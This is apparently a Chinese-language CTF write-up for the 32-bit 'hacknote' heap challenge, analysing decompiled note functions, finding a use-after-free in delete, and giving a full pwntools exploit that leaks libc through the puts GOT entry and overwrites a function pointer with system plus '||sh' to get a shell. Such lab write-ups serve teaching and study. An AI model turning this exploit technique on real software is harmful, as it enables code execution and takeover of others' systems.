270 字
1 分钟
4.3考核wp
查看题目文件保护发现:
[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/work2/43/hacknote_patched' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8044000) RUNPATH: b'.'发现这个是一个 32位程序,存在栈金丝雀,同时got表可写
将程序拖入ida之中, 发现这是一个菜单程序,用户输入不同选项有不同的操作
- 1 malloc 操作从堆中创建一个空间,初始下标为1
- 2 delete 删除指定下标的空间
- 3 print 打印控件中的内容
通过分析可以发现
unsigned int addnote(){ int v0; // ebx int n4; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf[8]; // [esp+14h] [ebp-14h] BYREF unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u); if ( n5 <= 5 ) { for ( n4 = 0; n4 <= 4; ++n4 ) { if ( !*(&ptr + n4) ) { *(&ptr + n4) = malloc(8u); // A if ( !*(&ptr + n4) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(&ptr + n4) = puts_w; // B printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = (int)*(&ptr + n4); *(_DWORD *)(v0 + 4) = malloc(size); if ( !*((_DWORD *)*(&ptr + n4) + 1) ) // C { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(&ptr + n4) + 1), size); puts("Success !"); ++n5; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5;}可以发现在 A 处可以发现程序申请了一个 大小为8字节的堆空间,从 B,C 发现程序将申请的堆空间分类两个个部分前4个字节用于存放puts的地址, 后4个字节用于存放字符串的指针
所以可以推断出这个申请堆块的结构
struct _m{ void (*funcPtr)(char* arg) char* content // size -> size malloc}而从这里可以看到 这里程序 调用 _m -> funcPtr(_m -> content) 来打印结构体
unsigned int printnote(){ int n5; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); n5 = atoi(buf); if ( n5 < 0 || n5 >= ::n5 ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr + n5) ) (*(void (__cdecl **)(_DWORD))*(&ptr + n5))(*(&ptr + n5)); return __readgsdword(0x14u) ^ v3;}从delete 函数可以知道 这里存在一个 Uaf
unsigned int delete(){ int v1; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= n5 ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr + v1) ) { free(*((void **)*(&ptr + v1) + 1)); free(*(&ptr + v1)); puts("Success"); } return __readgsdword(0x14u) ^ v3;}所以我们可以通过 Uaf 来控制chunk的内容。
IMPORTANT于是得到如下exp
from pwn import *
FILE = "./hacknote_patched"
context.log_level = "debug"context.binary = FILE
elf = ELF(FILE)rop = ROP(elf)libc = ELF("./libc.so.6")
p = process(FILE)
# raw_input(f"pwndbg -p {p.pid}")
_puts_w = 0x804862B
def Addnote(size: bytes, content: bytes): global p p.recvuntil(b"Your choice :") p.send(b"1")
p.recvuntil(b"Note size :") p.send(size)
p.recvuntil(b"Content :") p.send(content)
def deleteNote(index: bytes): global p p.recvuntil(b"Your choice :") p.send(b"2")
p.recvuntil(b"Index :") p.send(index)
def printNote(index: bytes): global p p.recvuntil(b"Your choice :") p.send(b"3")
p.recvuntil(b"Index :") p.send(index)
log.success(f"puts addr :{hex(elf.got["puts"])}")
Addnote(b"32", b'a')Addnote(b"32", b'a')deleteNote(b"0")deleteNote(b"1")
payload = flat( [ p32(_puts_w), p32(elf.got['puts']) ])Addnote(b"8", payload)
printNote(b"0")leak = u32(p.recv(4)) - libc.sym['puts']libc.address = leaklog.success(f"libcBase : {hex(libc.address)}")
log.info("get shell")
deleteNote(b"2")
payload = flat( [ p32(libc.sym['system']), b"||sh" ])Addnote(b"8", payload)
printNote(b"0")p.interactive() 分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时










